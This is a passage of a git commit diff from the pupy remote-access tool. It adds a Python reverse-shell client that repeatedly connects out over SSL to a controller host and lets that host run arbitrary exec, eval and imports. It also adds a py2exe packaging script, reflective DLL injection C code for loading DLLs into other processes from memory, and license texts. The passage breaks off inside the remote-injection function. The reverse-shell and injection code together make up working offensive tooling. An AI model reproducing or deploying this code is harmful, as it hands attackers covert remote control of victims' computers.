mirror of https://github.com/n1nj4sec/pupy.git
first commit :-)
This commit is contained in:
parent
6994d06ea8
commit
518a40751f
|
@ -0,0 +1,43 @@
|
|||
import socket
|
||||
import threading
|
||||
import Queue
|
||||
import collections
|
||||
import SocketServer
|
||||
import struct
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
import traceback
|
||||
import uuid
|
||||
import subprocess
|
||||
import StringIO
|
||||
import imp
|
||||
import hashlib
|
||||
import base64
|
||||
import logging
|
||||
import re
|
||||
import ssl
|
||||
import tempfile
|
||||
import string
|
||||
import datetime
|
||||
import random
|
||||
import shutil
|
||||
import platform
|
||||
import errno, stat
|
||||
import zlib
|
||||
import tempfile
|
||||
import code
|
||||
import Queue
|
||||
import glob
|
||||
import multiprocessing
|
||||
import math
|
||||
import binascii
|
||||
import inspect
|
||||
import shlex
|
||||
import json
|
||||
import ctypes
|
||||
import ctypes.wintypes
|
||||
import threading
|
||||
import time
|
||||
import urllib
|
||||
import urllib2
|
|
@ -0,0 +1,31 @@
|
|||
import sys
|
||||
from distutils.core import setup
|
||||
import py2exe
|
||||
import os
|
||||
from glob import glob
|
||||
|
||||
"""
|
||||
This setup is not meant to build pupy stubs, but only to generate an adequate library.zip to embed in the real exe/dll stub
|
||||
please don't use this if you don't want to recompile from sources
|
||||
|
||||
NOTE: I had to manually change pyreadline/console/console.py to console2.py and edit __init__.py to change the import because I had a conflict
|
||||
|
||||
"""
|
||||
if not (len(sys.argv)==2 and sys.argv[1]=="genzip"):
|
||||
exit("This setup is not meant to build pupy stubs, but only to generate an adequate library.zip to embed in the real exe/dll stub\nplease don't use this if you don't want to recompile from sources")
|
||||
sys.argv=[sys.argv[0],"py2exe"]
|
||||
|
||||
|
||||
setup(
|
||||
data_files = [(".", glob(r'.\RESOURCES_x86\msvcr90.dll'))],
|
||||
console=['reverse_ssl.py'],
|
||||
#windows=['reverse_ssl.py'],
|
||||
#zipfile=None,
|
||||
options={ "py2exe" : {
|
||||
"packages":['additional_imports'],
|
||||
"compressed" : True,
|
||||
"bundle_files" : 2, #3 = don't bundle (default) 2 = bundle everything but the Python interpreter 1 = bundle everything
|
||||
}
|
||||
}
|
||||
)
|
||||
|
|
@ -0,0 +1,107 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: UTF8 -*-
|
||||
import site
|
||||
import sys
|
||||
import time
|
||||
import rpyc
|
||||
from rpyc.core.service import Service, ModuleNamespace
|
||||
from rpyc.lib.compat import execute, is_py3k
|
||||
import threading
|
||||
import weakref
|
||||
import traceback
|
||||
import os
|
||||
import subprocess
|
||||
import threading
|
||||
import multiprocessing
|
||||
import logging
|
||||
import StringIO
|
||||
import json
|
||||
import urllib2
|
||||
import urllib
|
||||
import platform
|
||||
import re
|
||||
import ssl
|
||||
import random
|
||||
|
||||
|
||||
class ReverseSlaveService(Service):
|
||||
""" Pupy reverse shell rpyc service """
|
||||
__slots__=["exposed_namespace"]
|
||||
def on_connect(self):
|
||||
self.exposed_namespace = {}
|
||||
self._conn._config.update(dict(
|
||||
allow_all_attrs = True,
|
||||
allow_public_attrs = True,
|
||||
allow_pickle = True,
|
||||
allow_getattr = True,
|
||||
allow_setattr = True,
|
||||
allow_delattr = True,
|
||||
import_custom_exceptions = False,
|
||||
propagate_SystemExit_locally=False,
|
||||
propagate_KeyboardInterrupt_locally=True,
|
||||
instantiate_custom_exceptions = True,
|
||||
instantiate_oldstyle_exceptions = True,
|
||||
))
|
||||
# shortcuts
|
||||
self._conn.root.set_modules(ModuleNamespace(self.exposed_getmodule))
|
||||
|
||||
def exposed_exit(self):
|
||||
raise KeyboardInterrupt
|
||||
def exposed_execute(self, text):
|
||||
"""execute arbitrary code (using ``exec``)"""
|
||||
execute(text, self.exposed_namespace)
|
||||
def exposed_eval(self, text):
|
||||
"""evaluate arbitrary code (using ``eval``)"""
|
||||
return eval(text, self.exposed_namespace)
|
||||
def exposed_getmodule(self, name):
|
||||
"""imports an arbitrary module"""
|
||||
return __import__(name, None, None, "*")
|
||||
def exposed_getconn(self):
|
||||
"""returns the local connection instance to the other side"""
|
||||
return self._conn
|
||||
|
||||
|
||||
def get_next_wait(attempt):
|
||||
return 0.5
|
||||
if attempt<60:
|
||||
return 0.5
|
||||
else:
|
||||
return random.randint(15,30)
|
||||
|
||||
def main():
|
||||
HOST="127.0.0.1:443"
|
||||
if "win" in platform.system().lower():
|
||||
try:
|
||||
import pupy
|
||||
HOST=pupy.get_connect_back_host()
|
||||
except ImportError:
|
||||
print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL"
|
||||
if len(sys.argv)!=2:
|
||||
exit("usage: %s host:port"%sys.argv[0])
|
||||
HOST=sys.argv[1]
|
||||
attempt=0
|
||||
while True:
|
||||
try:
|
||||
rhost,rport=None,None
|
||||
tab=HOST.rsplit(":",1)
|
||||
rhost=tab[0]
|
||||
if len(tab)==2:
|
||||
rport=int(tab[1])
|
||||
else:
|
||||
rport=443
|
||||
|
||||
print "connecting to %s:%s"%(rhost,rport)
|
||||
conn=rpyc.ssl_connect(rhost, rport, service = ReverseSlaveService)
|
||||
while True:
|
||||
attempt=0
|
||||
conn.serve()
|
||||
except KeyboardInterrupt:
|
||||
print "keyboard interrupt received !"
|
||||
break
|
||||
except Exception as e:
|
||||
time.sleep(get_next_wait(attempt))
|
||||
attempt+=1
|
||||
|
||||
if __name__=="__main__":
|
||||
main()
|
||||
|
|
@ -0,0 +1,116 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "GetProcAddressR.h"
|
||||
//===============================================================================================//
|
||||
// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which
|
||||
// wont be able to resolve exported addresses in reflectivly loaded librarys.
|
||||
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName )
|
||||
{
|
||||
UINT_PTR uiLibraryAddress = 0;
|
||||
FARPROC fpResult = NULL;
|
||||
|
||||
if( hModule == NULL )
|
||||
return NULL;
|
||||
|
||||
// a module handle is really its base address
|
||||
uiLibraryAddress = (UINT_PTR)hModule;
|
||||
|
||||
__try
|
||||
{
|
||||
UINT_PTR uiAddressArray = 0;
|
||||
UINT_PTR uiNameArray = 0;
|
||||
UINT_PTR uiNameOrdinals = 0;
|
||||
PIMAGE_NT_HEADERS pNtHeaders = NULL;
|
||||
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
|
||||
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
|
||||
|
||||
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress );
|
||||
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions );
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames );
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals );
|
||||
|
||||
// test if we are importing by name or by ordinal...
|
||||
if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 )
|
||||
{
|
||||
// import by ordinal...
|
||||
|
||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||
uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) );
|
||||
|
||||
// resolve the address for this imported function
|
||||
fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) );
|
||||
}
|
||||
else
|
||||
{
|
||||
// import by name...
|
||||
DWORD dwCounter = pExportDirectory->NumberOfNames;
|
||||
while( dwCounter-- )
|
||||
{
|
||||
char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray ));
|
||||
|
||||
// test if we have a match...
|
||||
if( strcmp( cpExportedFunctionName, lpProcName ) == 0 )
|
||||
{
|
||||
// use the functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// calculate the virtual address for the function
|
||||
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray ));
|
||||
|
||||
// finish...
|
||||
break;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
}
|
||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||
{
|
||||
fpResult = NULL;
|
||||
}
|
||||
|
||||
return fpResult;
|
||||
}
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,36 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
|
||||
#define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName );
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,93 @@
|
|||
The windows reflective DLL and exe payload for pupy contains source code from differents projects with differents licenses.
|
||||
All the files not from one of these projects is under pupy's license (BSD 3-Clause license)
|
||||
These projects include :
|
||||
|
||||
----------------------------------------------------------------------------------
|
||||
-py2exe : under MIT License (http://sourceforge.net/projects/py2exe/)
|
||||
Copyright (c) 2000-2008 Thomas Heller, Mark Hammond, Jimmy Retzlaff
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining
|
||||
a copy of this software and associated documentation files (the
|
||||
"Software"), to deal in the Software without restriction, including
|
||||
without limitation the rights to use, copy, modify, merge, publish,
|
||||
distribute, sublicense, and/or sell copies of the Software, and to
|
||||
permit persons to whom the Software is furnished to do so, subject to
|
||||
the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be
|
||||
included in all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
||||
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
||||
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
||||
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
|
||||
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
|
||||
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
|
||||
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
|
||||
----------------------------------------------------------------------------------
|
||||
|
||||
-ReflectiveDLLInjection from https://github.com/stephenfewer/ReflectiveDLLInjection
|
||||
Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this list of
|
||||
conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
with the distribution.
|
||||
|
||||
* Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
endorse or promote products derived from this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
----------------------------------------------------------------------------------
|
||||
|
||||
-meterpreter (3-clause BSD license)
|
||||
Meterpreter is available for use under the following license, commonly known as the
|
||||
3-clause (or "modified") BSD license:
|
||||
|
||||
=========================================================================================
|
||||
|
||||
Meterpreter
|
||||
-----------
|
||||
|
||||
Copyright (c) 2006-2013, Rapid7 Inc
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification, are
|
||||
permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this list of
|
||||
conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
conditions and the following disclaimer in the documentation and/or other materials
|
||||
provided with the distribution.
|
||||
|
||||
* Neither the name of Rapid7 nor the names of its contributors may be used to endorse or
|
||||
promote products derived from this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
|
||||
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
|
||||
THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
|
||||
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
|
|
@ -0,0 +1,246 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "LoadLibraryR.h"
|
||||
#include <stdio.h>
|
||||
//===============================================================================================//
|
||||
DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress, BOOL is64 )
|
||||
{
|
||||
WORD wIndex = 0;
|
||||
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
|
||||
PIMAGE_NT_HEADERS32 pNtHeaders32 = NULL;
|
||||
PIMAGE_NT_HEADERS64 pNtHeaders64 = NULL;
|
||||
|
||||
if (is64) {
|
||||
pNtHeaders64 = (PIMAGE_NT_HEADERS64)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
|
||||
|
||||
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders64->OptionalHeader) + pNtHeaders64->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
if( dwRva < pSectionHeader[0].PointerToRawData )
|
||||
return dwRva;
|
||||
|
||||
for( wIndex=0 ; wIndex < pNtHeaders64->FileHeader.NumberOfSections ; wIndex++ )
|
||||
{
|
||||
if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )
|
||||
return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
|
||||
}
|
||||
}
|
||||
else {
|
||||
pNtHeaders32 = (PIMAGE_NT_HEADERS32)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
|
||||
|
||||
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders32->OptionalHeader) + pNtHeaders32->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
if( dwRva < pSectionHeader[0].PointerToRawData )
|
||||
return dwRva;
|
||||
|
||||
for( wIndex=0 ; wIndex < pNtHeaders32->FileHeader.NumberOfSections ; wIndex++ )
|
||||
{
|
||||
if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )
|
||||
return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
//===============================================================================================//
|
||||
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
|
||||
{
|
||||
UINT_PTR uiBaseAddress = 0;
|
||||
UINT_PTR uiExportDir = 0;
|
||||
UINT_PTR uiNameArray = 0;
|
||||
UINT_PTR uiAddressArray = 0;
|
||||
UINT_PTR uiNameOrdinals = 0;
|
||||
DWORD dwCounter = 0;
|
||||
BOOL is64 = 0;
|
||||
|
||||
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
|
||||
|
||||
// get the File Offset of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// process a PE file based on its architecture
|
||||
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
|
||||
{
|
||||
is64 = FALSE;
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS32)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
}
|
||||
else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
|
||||
{
|
||||
is64 = TRUE;
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS64)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
// get the File Offset of the export directory
|
||||
uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress, is64 );
|
||||
|
||||
// get the File Offset for the array of name pointers
|
||||
uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress, is64 );
|
||||
|
||||
// get the File Offset for the array of addresses
|
||||
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress, is64 );
|
||||
|
||||
// get the File Offset for the array of name ordinals
|
||||
uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress, is64 );
|
||||
|
||||
// get a counter for the number of exported functions...
|
||||
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;
|
||||
|
||||
// loop through all the exported functions to find the ReflectiveLoader
|
||||
while( dwCounter-- )
|
||||
{
|
||||
char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress, is64 ));
|
||||
|
||||
if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
|
||||
{
|
||||
// get the File Offset for the array of addresses
|
||||
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress, is64 );
|
||||
|
||||
// use the functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// return the File Offset to the ReflectiveLoader() functions code...
|
||||
return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress, is64 );
|
||||
}
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
//===============================================================================================//
|
||||
// Loads a DLL image from memory via its exported ReflectiveLoader function
|
||||
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength )
|
||||
{
|
||||
HMODULE hResult = NULL;
|
||||
DWORD dwReflectiveLoaderOffset = 0;
|
||||
DWORD dwOldProtect1 = 0;
|
||||
DWORD dwOldProtect2 = 0;
|
||||
REFLECTIVELOADER pReflectiveLoader = NULL;
|
||||
DLLMAIN pDllMain = NULL;
|
||||
|
||||
if( lpBuffer == NULL || dwLength == 0 )
|
||||
return NULL;
|
||||
|
||||
__try
|
||||
{
|
||||
// check if the library has a ReflectiveLoader...
|
||||
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
|
||||
if( dwReflectiveLoaderOffset != 0 )
|
||||
{
|
||||
pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset);
|
||||
|
||||
// we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader...
|
||||
// this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region
|
||||
if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) )
|
||||
{
|
||||
// call the librarys ReflectiveLoader...
|
||||
pDllMain = (DLLMAIN)pReflectiveLoader();
|
||||
if( pDllMain != NULL )
|
||||
{
|
||||
// call the loaded librarys DllMain to get its HMODULE
|
||||
if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) )
|
||||
hResult = NULL;
|
||||
}
|
||||
// revert to the previous protection flags...
|
||||
VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 );
|
||||
}
|
||||
}
|
||||
}
|
||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||
{
|
||||
hResult = NULL;
|
||||
}
|
||||
|
||||
return hResult;
|
||||
}
|
||||
//===============================================================================================//
|
||||
// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function
|
||||
// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
// defined in order to use the correct RDI prototypes.
|
||||
// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
|
||||
// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
|
||||
// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space.
|
||||
// Note: This function currently cant inject accross architectures, but only to architectures which are the
|
||||
// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64.
|
||||
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter )
|
||||
{
|
||||
BOOL bSuccess = FALSE;
|
||||
LPVOID lpRemoteLibraryBuffer = NULL;
|
||||
LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;
|
||||
HANDLE hThread = NULL;
|
